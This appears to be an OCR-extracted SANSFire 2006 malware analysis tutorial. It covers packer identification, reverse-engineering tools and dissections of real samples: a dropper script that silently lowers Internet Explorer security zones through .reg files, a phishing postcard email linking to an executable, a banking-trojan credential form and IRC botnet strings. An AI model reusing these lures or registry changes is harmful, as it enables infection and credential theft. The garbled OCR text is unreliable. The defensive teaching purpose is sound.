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Try to learn something about everything and
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s File 1: Strings of visualize.scr-ebd92f1bff47ed100d49a555f3c03c3e

This program must be run
under Win32

-> Packer UPX 125
UPX!

File 2: Strings of voxcard.exe-01ald472a9bd3702ebe7a5ad8f4d5e16

This program must be run
under Win32
CODE
DATA
.idata
-> Packer ASPACK tls
.rdata
.reloc
.rsrc
.aspack

adata
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Notes:

-> File 1: visualize.scr-ebd92f1bff47ed100d49a5868& 3e.strings.txt - The strings bellow are righttombegining of the
file:

This program must be run under Win32
UPX0

UPX1

.rsrc

125

UPXI!

These UPX0, UPX1 and UPX! are typical from fileskd with the UPX packer (upx.sourceforge.net). TI25 is the

UPX version. Dr. Neal also pointed something th#itiht know, that when you have a registered versfddPX, the string
UPX2 will also appear there.

fT File 2: voxcard.exe-01ald472a9bd3702ebe7a5ab814dstrings.txt - The strings bellow are right loa begining of the
ile:

This program must be run under Win32
CODE

DATA

.idata

tls

.rdata

.reloc

.rsrc

.aspack

.adata

Basically in all files packed with the ASPACK packaill include the section .aspack. Another seciimriuded by
ASPACK can have its name configurable. The defaulidata, as in our example above. :)
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File 3: wwlink.exe-da57aa6eea6ff3ea3166f53dallaec74
File 4: wyvisualizar.exe-f04cb834ac843ad08ala5cl7e4f67ba3

INSTITUTE

-> Packer PECompact2

File 4: x1.exe-0c7ec6408547fcd0647a2a4790987935

-> Packer RAR A
<?xml version="1.0" encoding="UTF-8" standalone="

yes"?> <assembly xmIns="urn:schemas-microsoft-com
:asm.v1" manifestVersion="1.0"> <assemblyldentity
versjen="1.0.0.0" processorArchitecture="X86" na
mef"Roshal. WinRAR.WInRAR" type="win32" /> <descri
ption2WINRAR archiver.</description> <dependency>
<dependentAsse assemblyldentity type="win3
2" name="Microsoft. Windows.Common-Controls" versi
on="6.0.0.0" processorArchitecture="X86" publicke
yToken="6595b64144ccfldf" language="*" /> </depen
dentAssembly> </dependency> </assembly>
KERNEL32.DLL

R
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Notes:

-> File 3: wwlink.exe-da57aa6eeabff3ea3166f53dada4strings.txt
-> File 4: wyvisualizar.exe-f04cb834ac843ad08al@bd167ba3.strings.txt

Both File 3 and File 4 have the same packer...wbr@??! | got almost the same amount of answeS&ACKDie! and
PECompact? ...

The answer is....

PECompact2!
Why??!
Well...the question is quite simple...Lets lookte first 6 lines of the strings:

IThis program cannot be run in DOS mode.
RichA

[AspackDie!]

ext

PEC2

.rsrc

-> File 5: x1.exe-0c7ec6408547fcd0647a2a479098808Hs. txt
Look at the strings bellow:

%sRarSFX%d

Ink

.inf

Install

.exe

Software\WIinRAR SFX
RarHtmIClassName
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This program must be run
under Win32

UPX0

UPX1

.rsrc

1.25

UPX!

GGGGGGGGG

GGGGG

i

<?xml version="1.0" encoding="UTF-8" standalone="
yes"?> <assembly xmIns="urn:schemas-microsoft-com
:asm.v1" manifestVersion="1.0"> <assemblyldentity
version="1.0.0.0" processorArchitecture="X86" na

IThis program cannot be rune="Roshal WinRAR.WInRAR" type="win32" /> <descri

in DOS mode.
RichA
[AspackDie!]
text

PEC2

.Isrc

ption>WIinRAR archiver.</description> <dependency>
<dependentAssembly> <assemblyldentity type="win3
2" name="Microsoft. Windows.Common-Controls" versi
on="6.0.0.0" processorArchitecture="X86" publicKe
yToken="6595b64144ccfldf" language="*" /> </depen
dentAssembly> </dependency> </assembly>
KERNEL32.DLL

This program must be run
under Win32

CODE

DATA

.idata

tls

.rdata

.reloc

.rsrc

.aspack

.adata
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Notes:

This file was created by myself, so people could test the lessons leared on t
first quiz!
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Notes:

Sysinternals Tool Strings can be found here:
- Strings:  http://www.sysinternals.com/Utilities/Strings.html

Foundstone’s BinText is a tool that finds Ascii, Unicode and Resource strings in a
file. It can be found here:

- BinText:
http://www.foundstone.com/resources/termsofuse.htm?file=bintext.zip

PEID is a tool that detects most common packers, cryptors and compileEs for P
files. It can currently detect more than 600 different signatures ifld3EVYersion
0.94 can be found here: http://www.secretashell.com/codomain/peidlBs/P
0.94-20060510.zip

Unix FILE application can identify some packers as well, as
UPX/RAR/PECompact?2...
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FE PEID v0.93

File: [C:\Documents and Settings\bt023599\Desktop\malware-quiz.exe

Entrypoint: [000210D0
File Offset: [0000B1D0
Lnker Info: [5.0

EP Section: [UPX1
First Bytes: [60,BE,00,70 File: size: Ratio  Format  Mame
Subsystem: [Win32 GUT

. ] Jo3|
=]

Ultimate Packer for executables
Copyright [C] 1996, 1337, 1338, 1953, 2000, 2001, 2002, 2003, 2004
UP 1. 250 tarkus Fix.J. Oberhumer & Laszlo Molnar Jun Z9th |

14391

malware-quiz. exe

Unpacked 1 file.

[UPX 0.89.6 - 1.02/ 1.05 - 1.24 -> Markus &Laszlo [RAR 5FX]
| multiscan | | Taskviewer | [ optons | [ bout |

[ stay on top

UNRAR 3.50 freeware Copyright (c) 1993-2005 Ale:

Extracting from malware-quiz.exe

: The comment below contains SFX script commands
path=c: \windows"\temp

Saverath

silent=l]

overwrite=1

Title=. Ar0un3dAs.

Text

just kidding...

License=Malware License

This malware was created for educational purpose only
check handlers. dshield. org/pbueno

¥

Extracting malware.exe

7 BinText 3.00

Search | Fiter | Help |

File: to scan IE'\Dn:umer’\ts and Settings\bt023999 D esktophmalwars  Browse

IV Advanced view Time taken: 0.000 sece  Text size: 3037 bytes (2.97K]

Filepos | Mempos | ID | Test ]
ADDDDSICC DDADTICC 0 Vialdloc

ADDDDSIDC DOOIOC 0 VitalFree

ADOOOTEA DDAZ3EA 0 Vitusiusty

ADOOOTFA  DDAZIFA 0 widsDherT chluByte

ADOOOB2T0 OOAIZAID 0 wiiteFils [
ADDDDS404 DUADBODS 0 Ohmp.aml a realy malware?PP

ADDDDS47 DDADBDZ7 0 D pou know what s the meaning of fe? It is 42

ADDDDS4ED DDMDBDED 0 USER3ZDLL

ADDODBEE  OOMDSOEE 0 Gebhohvewindow

ADOOO478  ODMOROZE 0 The instruction st (500000000 caussd & stack owerflon Hostin
ADOOOBACD DOMOBOCT 0 esception

ADDODSACC DUADBOCT 0 The instruction st 0500000000 caused & stack Ldetfion Host
ADDDDESTZ DD4DENIZ 0 ewcepfion. =
< | »
[Ready  |[ansi1as |[Unio |[Rsre:0 I Eind | Save

SANSFire 2006
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About PED v0.92

78 PEID v0.92

File: [ C:\r

Authors — Entrypoint

General || Compatbity || Archy

Comment | Securty || Summary.

[ snaker SFX RAR archive

Version la extract
Host 05

File Offset

Websites - | inker 1nf
WA

Total files
Total length
Codedin Vis |PECompat Packed length
atio

— | Multisg

W stay or

S module size
Main comment
Passwards

Dictionaty size
Recovery record
Avchive lock

Authenticity verfication

23
Windows

1
0,720
15,834

51%

52,224
Present
Apsent

128K8
Absent
Absent

Absent

Part Il — Malware Analysis Qi

T BinText 3.00 —1o1 x|

soach e | Heb |

Fietocan. [CxD et St Dok | | Bl

¥ Advanced view Time taken : 0.016 secs  Text size: 5260 bytes (5.14K]
Fiepo: [ Wenger [ [ Ten |
A 0000004D 00400040 O IThis program cannot be run in DOS mode. |
A 000000CD  004000CD O chifel

Amowmios mios 0 s

Lo mones 0 e

400000210 00400210 O idata

Aoz w0 G

Doomn w0 e

A 00000948 00401548 O wi@y3

400000092 00401932 O @

Lm0 e

A OD0ODEES  O04014E5 0 PhOtG

A 0000DFO3 00401803 O 5@

momitme mincos 0 o o
¢ ,
ey sz Junsn  [me | v | save

SANSFire 2006
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Notes:

This one was regarding a Spyware. Lots of fun on this analysis...lot of things t

follow...!
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Notes:

1)A .cmd extension is a Windows NT Command file script extension. It is only
supported in WIinNT and above. WinNT and above recognize .cmd files as
executables and will run them. Win9x doesn't recognize .cmd as an execilgable f
type. If you attempt to run a .cmd file under Win9x it will return a Bawhmand

or file name error message. Its usage is similar to that of a bat¢létgin

Win9x.

2) Regshotis a small,free and open-sourced registry compare utility thatsllow

you to quickly take a snapshot of your registry and then compare it witlodsec

one - done after doing system changes or installing a new software prbaeict
changes report can be produced in text or HTML format and contains a list of al
modifications that have taken place between snapshotl and snapshot2. In addition,
you can also specify folders (with sub filders) to be scanned for chamges| alt

can be found here: http://regshot.blog.googlepages.com/regshot.htmi

3) If you identified a file to be packed with UPX/RAR, you could usd_thax
applications UPX (http://upx.sourceforge.com) or unrar to unpack it.

4) If you attempt to open a .reg file using Regedit.exe the applicatibprathpt
you to add the entries to the registry. By using the /S flag a sileall insturs
requiring no user intervention.
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Compare ogs savs as:
@ Plain TET HTML document

s

PX Graphical 1.33 incl. UPX-scrambler

Close

=181

[c) 2002, 2005 by Ditk Paehl
Freeware.

e " PayPall
I S dir A2 diZyee sl s covpare | m
[etwinpows ew | E WinRAR 350 Original UFX 1.25 and the scrambler are intearated
= Copyright © 19932005 by =
Output path: o | Alexander Roshal Qpen File | Compress | Optons | Abaut | Histor | Dutput |
’VIC:\WINDOWS\TEMP\ T |
woritor | = File infomation

[Add comment into the log: :|

Keys: 79832 Values: 140578

Time:6s636ms

[rootécatyph bots]# more msnupdater.cmd

@echo off

echo Updating Windows Shell Files

REGEDIT.EXE /S5 2377.reg
REGEDIT.EXE /5 5577.reg

echo Updating Windows Shell Files.....

msnhomepage . html

echo Updating Windows Shell Files........

yahoohomepage . htnl

echo Updating Windows Shell Files
echo Updating Windows Shell Files

echo Updating Windows Shell Files is now Complete.

exit

40 days trial copy

File name:

[root@catyph bots]# more 2377.regq

Windows Registry Editor Version 5.00

[HEKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Intern

et Settings\Zones\D
"1004"=dword: 00000000
"1201"=dword: 00000000

[HKEY CURRENT_USER\Software\Microsoft\Windows\CurrentVersiom\Intern
et Settings\Zones\1l

"1004"=dword: 00000000

"1201"=dword: 00000000

[HKEY CURRENT_USER\Software\Microsoft\Windows\CurrentVersiom\Intern
et Settings\Zones\2]
"1004"=dword: 00000000
"1201"=dword: 00000000

SANSFire 2006
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Notes:

This was a real malware that | modified to include fake email asldnegead of
the real ones.
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</div>

<strong>Hello friend !</strong><br>

You have just received a postcard from someone who cares about you!<br><br>

<strong>This is a part of the message:</strong><br>

&quot;Hy there! It has been a long time since | haven't heared about you!<br>

I've just found out about this service from Claire, a friend of mine who also told me that...&quot;<br>
<strong>If you'd like to see the rest of the message click <a
href="http://xx.xx.17.42/~office/postcard.gif.exe">here</a> to

receive your animated postcard! </strong><br><br>

<strong> = </strong><br>
Thank you for using <span class="style1">www.yourpostcard.com</span> 's services !l!<br>

Please take this opportunity to let your friends hear about us by sending them a postcard from our collection !<br>

<strong> = </strong>

</div>

SANSFire 2006 http://isc.sans.org

Notes:

This is an example of the email received with the link to download the real
malware.



$+ Pl
CENTER
A — A
/ 4 0 A
B'&
0 9 5< <
3
F 6
- 0 9 5< 3
< 6 < D
#
SANSFire 2006 http://isc.sans.org

Notes:

1- AspackDie! — this one is an unpacker for files packed with Aspack. It can be
found here: http://www.exetools.com/unpackers.htm. Another way to unpack
aspack is the usage of pmak2 that can be found here:
http://www.pmode.net/USERS/117/Files/Pmak2.rar

2- Foremost is a console program to recover files based on their headers, footer
and internal data structures. This process is commonly referred to ascddtg.
Foremost can work on image files, such as those generated by dd, Safeback,
Encase, etc, or directly on a drive. The headers and footers can beedd®ced
configuration file or you can use command line switches to specify builein f
types. These built-in types look at the data structures of a given filatform
allowing for a more reliable and faster recovery. It can be found here:
http://foremost.sourceforge.net/
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Examinar.

£ aspackdie

]

o

Nome do amuive

oo

Arguivos do tipo EXE/DLL/OCX files

o]

oo

malwares]# file Cartao.scr
executable for MS Windows (GUI) Intel 8
rootBcatyph malwares]# /fusr/local/bin/foremost -i Cartao.s
Cartao.scr

32-bit
cr

malwares]# cd output/
output]# 1s
bmp exe 3pg
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A uBSHi.dfm

Object neme

~

=] Imags2
=1 ki
5] tnages
51 magetn
[S] Label2s 2

[S] Lakeize [
Lakie27 Selacione o Tipo de Conta
[E] Labeitz Titular -

=] 1 abel = senha da 4 digitos

=1 Lanens

=] Laken? Senha do Cartio cpF
=] Labei7
S Labeizz Informe sua respasta secreta
Lakeld
Laknel{
=] Lakels
[S] Labels
[ Lakeno
[S] Labels

e sequranca no site,
cadeads ests sparacands ne bara infarior do nawegador.

equranca, o teclado do seu computador ndo pode ser utilizado na
30 da cenha de 4 digitos. Por favoe, utilize o Teclado Wirhual .
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Notes:

3. DFM Editor — “Standalone editor for Delphi Form files (*.dfm) in both binary
and text format. It has object tree, object inspector and syntax highlighted editor
and form previewing capability. It can be extended with external gaskgpl

files) to know more classes. Forms can also be extracted from exesutabl
libraries. Supports D1-D7 forms. Free to use for both private and commercial
users. “ It can be found here: http://www.mitec.cz/Downloads/DFMEdit.zip
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| ebe 3.50.02 c) 1999.2002 by D e | x|
[C:\Beware Malware\omak unpacked.exe Lﬂ Process Teclados
ClasesInfo | Unitsinfo | Foms | Procedues | [ Piojert | Exports
Save Delphi Project Space
¥ Include DFM files for all forms
¥ Include PAS files
W Include DPR project file
W Include TXT event handler R4 description
Project diectary:
|C:\antorg\DeD eA\Dumps El
NERRRARAARARRRARRNNNN [ REEEEI&HES I
processing uBBuwsx Label31Click.
Saving project ... pmak-unpacked. exe 1503232 bytes
SANSFire 2006 http://isc.sans.org
Notes:
4- DeDe — This is a delphi decompiler . It can be fohade:

http://download.softpedia.ro/software/PROGRAMMIN@De.3.50.02.1619.bin.rar
According the webpage:

“DeDe is a very fasi that can analyze executables compiled with 1 2,3,4,5,6
Builder,Kylix and Kol and give you the following:

- All dfm files of the target. You will be able to ep and edit them with Delphi.

- All published methods in well commented ASM codéhweferences to strings,

itTpc;(rted function calls, classes methods calls,paments in the unit, Try-Except and Try-Finally
ocks.

(By default DeDe retrieves only the published methsaurces, but you may also process another

procedure in a executable

if you know the RVA offset using the Tools|DisassderProc menu.)

- A lot of additional information.

- You can create a Delphi project folder with aligpas, dpr files. Note: pas files contains the

mentioned above well commented ASM code. They caibba recompiled !

- View the PE Header of all PE Files and changetéditsections flags.

- Use the opcode-to-asm tool for translating ' opcode to assembler.

- Use RVA-to-PhysOffset tool for fast converting pitgd and RVA addresses.

- LCJ:seftIhe DCU Dumper (view dcu2int.txt for more dls)ao retrieve near to pascal code of your

DCU files.

- Use BPL(DPL) Dumper to see BPL exports and cregtebol files to use with DeDe

disassembler.

- Disassemble a target EXE directly from memoryaseof a packed exe.”
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J % & Winalysis - [WTESTMACHINE2 Changes - HKLM\] BE®
B File Action Tools Yiew Window Help BEES
a = =] =] =l & o %
Computer | Save  Pit | Snapshot  Test  Corfig  Critical  Waming  Info Al Johs
B WTESTMACHINE Desciption Name: ~
e @tunberof sbkeys  HKLMISYSTEM| CurrentControlsetiServices
ac X KeyLast Modfied Dats HKLMISYSTEM)| CurrentCartrolSetiSerices
? e riew ey HKLMISYSTEN| CurrentConkrolSetiervices|CleanService
P B tiew Valus urrentc o
Eire] € hiew value urrentc
5 g Registry Qticw value UrrentC
© TN Qtiew Value urrenk
(8 Rights riew value HKLM|SYSTEM| CurrentControlSetiServices|CleanServiceDis.
TESTMACHINE2 O riew value HKLMS¥STEM| CurrentContralsetiServices\CleanServicelObi. .
-7 scheduler Qtiew ey urrentC
Seheduled Jobs Qriew vale UrrentC
= %5 services X Key Last Modfied Dats urrentC
@ winz X Key Last Madfied Date  HKLMISYSTEM Current i
Drivers X Key Last Modfied Date  HKLMISYSTEM) CurrentControlsetiControfivelist
=69 Shares X Key Last Modfied Date HKLMSYSTEM) CurrentCortrolSethControhSession Manager
Shared Drives and Printers (@Vslue Changed HKLMISYSTEM| CurrentControlsstControliSession Manager),
= g system @ tuber of Subkeys  HKLM|SYSTEN|ControlSeton1iServices
version X Key Last Modfied Date  HRLH|SYSTEM|CantrolSet0diServices
:””’“"{":T Hew Key HKLGYSTEM)| ControfSet0n11Serviees|CleanService
ccount Policy 4
tew Value p
Aud Poli
24 Users ! O tiew Value
WTEsTMACHIEZ Qriew vaie
5 Volumes Qtiew value eP...
WTESTMACHINEZ Qhiew val
riew value HKLMISYSTEM| ControfSet001iServices| Cleanservice Oblect. .
Qi ey ur
iz Value
v
< >
For Help, press F1

Note:

5. Winalysis: “Winalysis is a program to detect changes on your comgaused
by software installs or unauthorized access and optionally restore thewgind
registry and selected files from snapshots. It allows you to save dshapa
computer s configuration and then monitor for changes to files, the regigry, us
local and global groups, rights policy, services, the scheduler, volumess shar

It can be found here: http://www.winalysis.com/wnaly310.exe
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Notes:
1) Files:
aliases.ini Aliasing commands for mIRC
Control.ini As if mIRC version 6.01 “The control dag lists, ie. ignore, voice, protect, op, are now

stored in acontrol.ini file”
Mirc.ico A blank icon to hide mIRC from showing inettiaskbar
Moo.dll DIl for getting OS and hardware information
Nicks.txt Random names used to generate a NICK

Perform.ini Used to set commands to perform autaraliyi on connect.

Popups.ini Sets the popups which are like alias égiire mouse intervention rater then typing
/<command>

Radmin.txt Header for scan results of port 4899 ‘iRiad

Remote.ini By default the remote users list, vagaldnd scripts are saved in the remote.ini file.

Run.exe Looks like left over from another variantiié BOT/ Backdoor / Trojan
Script.ini Scripts for this BOT such as a SCANNE#R find, random name gen....etc
Servers.ini List of IRC servers in the Underet range

Sup.bat Install script file run by the winrar SFX

Sup.reg Reg file containing the registry entries adstart the mIRC BOT up
Svchost.exe mIRC application with a name change

Users.ini Sets the users which can talk to the bot

2) Stud_PE - Stud_PE is a Portable Executable View@&bE It can be found here
http://www.cgsoftlabs.ro/studpe.html

3) Sysinternal tools can be found at http://www.steinals.com
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Notes:

1) Linux Toolkit
- Our old and good strings!
- Objdump - -d, --disassemble Display assembler contents of
executable sections
-X, --all-headers Display the contents of all
headers
- nm - list symbols from object files

- strace - trace system calls and signals

2) John the ripper is a famous password cracker. It can be found here:
http://www.openwall.com/john/

3) ng-ircd is a ircd server that can be used to simulate a botnet. It camde fou
here: ng-ircd; see http://ngircd.barton.de/

4) “IDA Pro combines an interactive, programmable, multi-processor
disassembler coupled to a local and remote debugger and augmented by a
complete plugin programming environmenit’can be found here:
http://www.datarescue.com/idabase/
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NOTICE
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NOTICE
NOTICE
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%=
%=
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£=
£=
£=
%=
%=

£=
£=
£=
%=
%=
3s
£=
£=
%=
%=
%=

NOTICE
—v—

4

$
5

:Password too long!
:Disable sucessful.
:ENASLE <pass>
:Rlready enabled.
:Wrong password
:Password correct.
:Removed all spoofs
:What kind of subnet address is that?

@

> 254

Do

[root@catyph root]# objdump -x shelll |more

shelll: file format elf32-i386

shelll

architecture: 1386, flags 0x00000112:
EXEC_P, HAS_SYMS, D _PAGED
start address 0x03048260

Program Header:

NOTICE %= :Kaiten wa goraku PHDR off  0x00000034 vaddr 0x08048034 paddr Ox0S8048034
UDP |40TICE $s :NICK <nicks filesz 0x00000100 memsz 0x00000100 flags r-x
Paclu0TICE %s iNick camnot be larger thar INTERP off  0x00000134 vaddr 0x08048134 paddr 0x08048134
PPAN INTex 3 filesz 0x00000013 memsz Dx00000013 flags -
iPaDIVOTICE s :DISABLE <pass> LOAD off  0x00000000 vaddr 0x08048000 paddr 0x08048000

Disabled filesz 0x00004e88 memsz 0x00004e88 flags r-x
iTSWpapled and awaiting orders LOAD off  0x00005000 vaddr 0x08044000 paddr 0x0804d000
UMKl yoTICE ts :Cwilzootoatyph root]d obj filesz 0x000002e0 memsz 0x00000370 flags Tw-
Bkl goTIcE 4 :ALs
Hovy NOTICE %= :Passhelll: file format elf32-i386
TSW NoTIcE 3s :Da:

NOTICE %= :ENDisassenbly of section .init:

NOTICE $s :Al:

WOTICE %= iWrdS048ace <_imitd:

NOTICE %= :Pa: 8048acc: 55 push  ebp

NOTICE $= :Rer 304%acd: 89 e5 mov  esp,tebp

NOTICE $s :Wn: 8048act: 83 ec 03 sub  §0x8,%esp

169.40 20432d2: =8 ad 03 00 00 call 8048e84 <call_gmon_starcs

NOTICE $s :Un: 8048ad7: €8 14 04 00 00 call  8048ef0 <frame_dummy>

NOTICE %= :UDI 8048adc: =& df 34 00 00 call 504bfc0 <_ do_global_ctors

NOTICE %= :Pag aux>

8048ael: oo leave
8048ae2: c3 ret

align

align

align

align
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Notes:

Somethings to notice here:

-TSUNAMI

-“Kaiten wa goraku”
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Conclusion Y

And remember...

A wise man gets more use from his enemies
than a fool from his friends.

- Baltasar Gracian
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